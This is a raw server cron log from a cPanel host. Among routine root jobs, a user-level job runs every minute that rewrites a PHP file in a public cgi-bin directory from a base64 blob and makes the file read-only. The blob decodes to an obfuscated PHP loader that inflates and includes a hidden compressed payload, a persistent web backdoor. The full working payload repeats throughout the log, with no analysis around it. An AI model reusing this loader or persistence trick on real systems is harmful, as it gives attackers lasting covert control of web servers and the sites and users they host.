Sep  5 16:58:01 server CROND[7411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:58:01 server CROND[7412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:59:01 server CROND[7882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:59:01 server CROND[7883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:59:01 server CROND[7884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:00:01 server CROND[8261]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:00:01 server CROND[8262]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:00:01 server CROND[8264]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 17:00:01 server CROND[8267]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 17:00:01 server CROND[8268]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 17:00:01 server CROND[8269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:00:01 server CROND[8270]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 17:00:01 server CROND[8271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:00:01 server CROND[8273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:01:01 server CROND[9089]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 17:01:01 server CROND[9092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:01:01 server CROND[9090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:01:01 server CROND[9091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:01:01 server run-parts(/etc/cron.hourly)[9089]: starting 0anacron
Sep  5 17:01:01 server run-parts(/etc/cron.hourly)[9110]: finished 0anacron
Sep  5 17:02:01 server CROND[9466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:02:01 server CROND[9467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:02:01 server CROND[9468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:03:01 server CROND[9898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:03:01 server CROND[9899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:03:01 server CROND[9900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:04:01 server CROND[10371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:04:01 server CROND[10372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:04:01 server CROND[10373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:05:01 server CROND[10755]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 17:05:01 server CROND[10756]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:05:01 server CROND[10758]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 17:05:01 server CROND[10761]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 17:05:01 server CROND[10760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:05:01 server CROND[10762]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 17:05:01 server CROND[10763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:05:01 server CROND[10764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:05:01 server CROND[10765]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:06:01 server CROND[11629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:06:01 server CROND[11628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:06:01 server CROND[11630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:07:01 server CROND[11997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:07:01 server CROND[11998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:07:01 server CROND[11999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:08:01 server CROND[12370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:08:01 server CROND[12369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:08:01 server CROND[12393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:09:01 server CROND[12769]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 17:09:01 server CROND[12770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:09:01 server CROND[12771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:09:01 server CROND[12772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:10:01 server CROND[13173]: (root) CMD (/usr/lib64/sa/sa1 1 1)
